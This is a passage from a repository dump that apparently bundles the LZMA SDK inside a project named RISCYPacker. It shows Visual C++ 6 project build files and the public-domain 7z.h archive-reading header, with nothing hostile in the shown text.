Source File 141 | # Begin Source File 142 | 143 | SOURCE=..\..\LzmaDec.c 144 | # End Source File 145 | # Begin Source File 146 | 147 | SOURCE=..\..\LzmaDec.h 148 | # End Source File 149 | # Begin Source File 150 | 151 | SOURCE=..\..\LzmaEnc.c 152 | # End Source File 153 | # Begin Source File 154 | 155 | SOURCE=..\..\LzmaEnc.h 156 | # End Source File 157 | # Begin Source File 158 | 159 | SOURCE=..\..\LzmaLib.c 160 | # End Source File 161 | # Begin Source File 162 | 163 | SOURCE=..\..\LzmaLib.h 164 | # End Source File 165 | # Begin Source File 166 | 167 | SOURCE=.\resource.rc 168 | # End Source File 169 | # Begin Source File 170 | 171 | SOURCE=..\..\Threads.c 172 | # End Source File 173 | # Begin Source File 174 | 175 | SOURCE=..\..\Threads.h 176 | # End Source File 177 | # End Target 178 | # End Project 179 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Util/Lzma/LzmaUtil.dsp: -------------------------------------------------------------------------------- 1 | # Microsoft Developer Studio Project File - Name="LzmaUtil" - Package Owner=<4> 2 | # Microsoft Developer Studio Generated Build File, Format Version 6.00 3 | # ** DO NOT EDIT ** 4 | 5 | # TARGTYPE "Win32 (x86) Console Application" 0x0103 6 | 7 | CFG=LzmaUtil - Win32 Debug 8 | !MESSAGE This is not a valid makefile. To build this project using NMAKE, 9 | !MESSAGE use the Export Makefile command and run 10 | !MESSAGE 11 | !MESSAGE NMAKE /f "LzmaUtil.mak". 12 | !MESSAGE 13 | !MESSAGE You can specify a configuration when running NMAKE 14 | !MESSAGE by defining the macro CFG on the command line. For example: 15 | !MESSAGE 16 | !MESSAGE NMAKE /f "LzmaUtil.mak" CFG="LzmaUtil - Win32 Debug" 17 | !MESSAGE 18 | !MESSAGE Possible choices for configuration are: 19 | !MESSAGE 20 | !MESSAGE "LzmaUtil - Win32 Release" (based on "Win32 (x86) Console Application") 21 | !MESSAGE "LzmaUtil - Win32 Debug" (based on "Win32 (x86) Console Application") 22 | !MESSAGE 23 | 24 | # Begin Project 25 | # PROP AllowPerConfigDependencies 0 26 | # PROP Scc_ProjName "" 27 | # PROP Scc_LocalPath "" 28 | CPP=cl.exe 29 | RSC=rc.exe 30 | 31 | !IF "$(CFG)" == "LzmaUtil - Win32 Release" 32 | 33 | # PROP BASE Use_MFC 0 34 | # PROP BASE Use_Debug_Libraries 0 35 | # PROP BASE Output_Dir "Release" 36 | # PROP BASE Intermediate_Dir "Release" 37 | # PROP BASE Target_Dir "" 38 | # PROP Use_MFC 0 39 | # PROP Use_Debug_Libraries 0 40 | # PROP Output_Dir "Release" 41 | # PROP Intermediate_Dir "Release" 42 | # PROP Ignore_Export_Lib 0 43 | # PROP Target_Dir "" 44 | # ADD BASE CPP /nologo /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /c 45 | # ADD CPP /nologo /MT /W4 /WX /O2 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /FD /c 46 | # SUBTRACT CPP /YX 47 | # ADD BASE RSC /l 0x419 /d "NDEBUG" 48 | # ADD RSC /l 0x419 /d "NDEBUG" 49 | BSC32=bscmake.exe 50 | # ADD BASE BSC32 /nologo 51 | # ADD BSC32 /nologo 52 | LINK32=link.exe 53 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 54 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386 /out:"c:\util\7lzma.exe" 55 | 56 | !ELSEIF "$(CFG)" == "LzmaUtil - Win32 Debug" 57 | 58 | # PROP BASE Use_MFC 0 59 | # PROP BASE Use_Debug_Libraries 1 60 | # PROP BASE Output_Dir "Debug" 61 | # PROP BASE Intermediate_Dir "Debug" 62 | # PROP BASE Target_Dir "" 63 | # PROP Use_MFC 0 64 | # PROP Use_Debug_Libraries 1 65 | # PROP Output_Dir "Debug" 66 | # PROP Intermediate_Dir "Debug" 67 | # PROP Ignore_Export_Lib 0 68 | # PROP Target_Dir "" 69 | # ADD BASE CPP /nologo /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /YX /FD /GZ /c 70 | # ADD CPP /nologo /MTd /W4 /WX /Gm /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /FD /GZ /c 71 | # SUBTRACT CPP /YX 72 | # ADD BASE RSC /l 0x419 /d "_DEBUG" 73 | # ADD RSC /l 0x419 /d "_DEBUG" 74 | BSC32=bscmake.exe 75 | # ADD BASE BSC32 /nologo 76 | # ADD BSC32 /nologo 77 | LINK32=link.exe 78 | # ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /pdbtype:sept 79 | # ADD LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /debug /machine:I386 /out:"c:\util\7lzma.exe" /pdbtype:sept 80 | 81 | !ENDIF 82 | 83 | # Begin Target 84 | 85 | # Name "LzmaUtil - Win32 Release" 86 | # Name "LzmaUtil - Win32 Debug" 87 | # Begin Source File 88 | 89 | SOURCE=..\..\7zFile.c 90 | # End Source File 91 | # Begin Source File 92 | 93 | SOURCE=..\..\7zFile.h 94 | # End Source File 95 | # Begin Source File 96 | 97 | SOURCE=..\..\7zStream.c 98 | # End Source File 99 | # Begin Source File 100 | 101 | SOURCE=..\..\7zVersion.h 102 | # End Source File 103 | # Begin Source File 104 | 105 | SOURCE=..\..\Alloc.c 106 | # End Source File 107 | # Begin Source File 108 | 109 | SOURCE=..\..\Alloc.h 110 | # End Source File 111 | # Begin Source File 112 | 113 | SOURCE=..\..\CpuArch.h 114 | # End Source File 115 | # Begin Source File 116 | 117 | SOURCE=..\..\LzFind.c 118 | # End Source File 119 | # Begin Source File 120 | 121 | SOURCE=..\..\LzFind.h 122 | # End Source File 123 | # Begin Source File 124 | 125 | SOURCE=..\..\LzFindMt.c 126 | # End Source File 127 | # Begin Source File 128 | 129 | SOURCE=..\..\LzFindMt.h 130 | # End Source File 131 | # Begin Source File 132 | 133 | SOURCE=..\..\LzHash.h 134 | # End Source File 135 | # Begin Source File 136 | 137 | SOURCE=..\..\LzmaDec.c 138 | # End Source File 139 | # Begin Source File 140 | 141 | SOURCE=..\..\LzmaDec.h 142 | # End Source File 143 | # Begin Source File 144 | 145 | SOURCE=..\..\LzmaEnc.c 146 | # End Source File 147 | # Begin Source File 148 | 149 | SOURCE=..\..\LzmaEnc.h 150 | # End Source File 151 | # Begin Source File 152 | 153 | SOURCE=.\LzmaUtil.c 154 | # End Source File 155 | # Begin Source File 156 | 157 | SOURCE=..\..\Threads.c 158 | # End Source File 159 | # Begin Source File 160 | 161 | SOURCE=..\..\Threads.h 162 | # End Source File 163 | # Begin Source File 164 | 165 | SOURCE=..\..\Types.h 166 | # End Source File 167 | # End Target 168 | # End Project 169 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7z.h: -------------------------------------------------------------------------------- 1 | /* 7z.h -- 7z interface 2 | 2015-11-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_H 5 | #define __7Z_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #define k7zStartHeaderSize 0x20 12 | #define k7zSignatureSize 6 13 | 14 | extern const Byte k7zSignature[k7zSignatureSize]; 15 | 16 | typedef struct 17 | { 18 | const Byte *Data; 19 | size_t Size; 20 | } CSzData; 21 | 22 | /* CSzCoderInfo & CSzFolder support only default methods */ 23 | 24 | typedef struct 25 | { 26 | size_t PropsOffset; 27 | UInt32 MethodID; 28 | Byte NumStreams; 29 | Byte PropsSize; 30 | } CSzCoderInfo; 31 | 32 | typedef struct 33 | { 34 | UInt32 InIndex; 35 | UInt32 OutIndex; 36 | } CSzBond; 37 | 38 | #define SZ_NUM_CODERS_IN_FOLDER_MAX 4 39 | #define SZ_NUM_BONDS_IN_FOLDER_MAX 3 40 | #define SZ_NUM_PACK_STREAMS_IN_FOLDER_MAX 4 41 | 42 | typedef struct 43 | { 44 | UInt32 NumCoders; 45 | UInt32 NumBonds; 46 | UInt32 NumPackStreams; 47 | UInt32 UnpackStream; 48 | UInt32 PackStreams[SZ_NUM_PACK_STREAMS_IN_FOLDER_MAX]; 49 | CSzBond Bonds[SZ_NUM_BONDS_IN_FOLDER_MAX]; 50 | CSzCoderInfo Coders[SZ_NUM_CODERS_IN_FOLDER_MAX]; 51 | } CSzFolder; 52 | 53 | 54 | SRes SzGetNextFolderItem(CSzFolder *f, CSzData *sd); 55 | 56 | typedef struct 57 | { 58 | UInt32 Low; 59 | UInt32 High; 60 | } CNtfsFileTime; 61 | 62 | typedef struct 63 | { 64 | Byte *Defs; /* MSB 0 bit numbering */ 65 | UInt32 *Vals; 66 | } CSzBitUi32s; 67 | 68 | typedef struct 69 | { 70 | Byte *Defs; /* MSB 0 bit numbering */ 71 | // UInt64 *Vals; 72 | CNtfsFileTime *Vals; 73 | } CSzBitUi64s; 74 | 75 | #define SzBitArray_Check(p, i) (((p)[(i) >> 3] & (0x80 >> ((i) & 7))) != 0) 76 | 77 | #define SzBitWithVals_Check(p, i) ((p)->Defs && ((p)->Defs[(i) >> 3] & (0x80 >> ((i) & 7))) != 0) 78 | 79 | typedef struct 80 | { 81 | UInt32 NumPackStreams; 82 | UInt32 NumFolders; 83 | 84 | UInt64 *PackPositions; // NumPackStreams + 1 85 | CSzBitUi32s FolderCRCs; // NumFolders 86 | 87 | size_t *FoCodersOffsets; // NumFolders + 1 88 | UInt32 *FoStartPackStreamIndex; // NumFolders + 1 89 | UInt32 *FoToCoderUnpackSizes; // NumFolders + 1 90 | Byte *FoToMainUnpackSizeIndex; // NumFolders 91 | UInt64 *CoderUnpackSizes; // for all coders in all folders 92 | 93 | Byte *CodersData; 94 | } CSzAr; 95 | 96 | UInt64 SzAr_GetFolderUnpackSize(const CSzAr *p, UInt32 folderIndex); 97 | 98 | SRes SzAr_DecodeFolder(const CSzAr *p, UInt32 folderIndex, 99 | ILookInStream *stream, UInt64 startPos, 100 | Byte *outBuffer, size_t outSize, 101 | ISzAlloc *allocMain); 102 | 103 | typedef struct 104 | { 105 | CSzAr db; 106 | 107 | UInt64 startPosAfterHeader; 108 | UInt64 dataPos; 109 | 110 | UInt32 NumFiles; 111 | 112 | UInt64 *UnpackPositions; // NumFiles + 1 113 | // Byte *IsEmptyFiles; 114 | Byte *IsDirs; 115 | CSzBitUi32s CRCs; 116 | 117 | CSzBitUi32s Attribs; 118 | // CSzBitUi32s Parents; 119 | CSzBitUi64s MTime; 120 | CSzBitUi64s CTime; 121 | 122 | UInt32 *FolderToFile; // NumFolders + 1 123 | UInt32 *FileToFolder; // NumFiles 124 | 125 | size_t *FileNameOffsets; /* in 2-byte steps */ 126 | Byte *FileNames; /* UTF-16-LE */ 127 | } CSzArEx; 128 | 129 | #define SzArEx_IsDir(p, i) (SzBitArray_Check((p)->IsDirs, i)) 130 | 131 | #define SzArEx_GetFileSize(p, i) ((p)->UnpackPositions[(i) + 1] - (p)->UnpackPositions[i]) 132 | 133 | void SzArEx_Init(CSzArEx *p); 134 | void SzArEx_Free(CSzArEx *p, ISzAlloc *alloc); 135 | UInt64 SzArEx_GetFolderStreamPos(const CSzArEx *p, UInt32 folderIndex, UInt32 indexInFolder); 136 | int SzArEx_GetFolderFullPackSize(const CSzArEx *p, UInt32 folderIndex, UInt64 *resSize); 137 | 138 | /* 139 | if dest == NULL, the return value specifies the required size of the buffer, 140 | in 16-bit characters, including the null-terminating character. 141 | if dest != NULL, the return value specifies the number of 16-bit characters that 142 | are written to the dest, including the null-terminating character. */ 143 | 144 | size_t SzArEx_GetFileNameUtf16(const CSzArEx *p, size_t fileIndex, UInt16 *dest); 145 | 146 | /* 147 | size_t SzArEx_GetFullNameLen(const CSzArEx *p, size_t fileIndex); 148 | UInt16 *SzArEx_GetFullNameUtf16_Back(const CSzArEx *p, size_t fileIndex, UInt16 *dest); 149 | */ 150 | 151 | 152 | 153 | /* 154 | SzArEx_Extract extracts file from archive 155 | 156 | *outBuffer must be 0 before first call for each new archive. 157 | 158 | Extracting cache: 159 | If you need to decompress more than one file, you can send 160 | these values from previous call: 161 | *blockIndex, 162 | *outBuffer, 163 | *outBufferSize 164 | You can consider "*outBuffer" as cache of solid block. If your archive is solid, 165 | it will increase decompression speed. 166 | 167 | If you use external function, you can declare these 3 cache variables 168 | (blockIndex, outBuffer, outBufferSize) as static in that external function. 169 | 170 | Free *outBuffer and set *outBuffer to 0, if you want to flush cache. 171 | */ 172 | 173 | SRes SzArEx_Extract( 174 | const CSzArEx *db, 175 | ILookInStream *inStream, 176 | UInt32 fileIndex, /* index of file */ 177 | UInt32 *blockIndex, /* index of solid block */ 178 | Byte **outBuffer, /* pointer to pointer to output buffer (allocated with allocMain) */ 179 | size_t *outBufferSize, /* buffer size for output buffer */ 180 | size_t *offset, /* offset of stream for required file in *outBuffer */ 181 | size_t *outSizeProcessed, /* size of file in *outBuffer */ 182 | ISzAlloc *allocMain, 183 | ISzAlloc *allocTemp); 184 | 185 | 186 | /* 187 | SzArEx_Open Errors: 188 | SZ_ERROR_NO_ARCHIVE 189 | SZ_ERROR_ARCHIVE 190 | SZ_ERROR_UNSUPPORTED 191 | SZ_ERROR_MEM 192 | SZ_ERROR_CRC 193 | SZ_ERROR_INPUT_EOF 194 | SZ_ERROR_FAIL 195 | */ 196 | 197 | SRes SzArEx_Open(CSzArEx *p, ILookInStream *inStream, 198 | ISzAlloc *allocMain, ISzAlloc *allocTemp); 199 | 200 | EXTERN_C_END 201 | 202 | #endif 203 | --------------------------------------------------------------------------------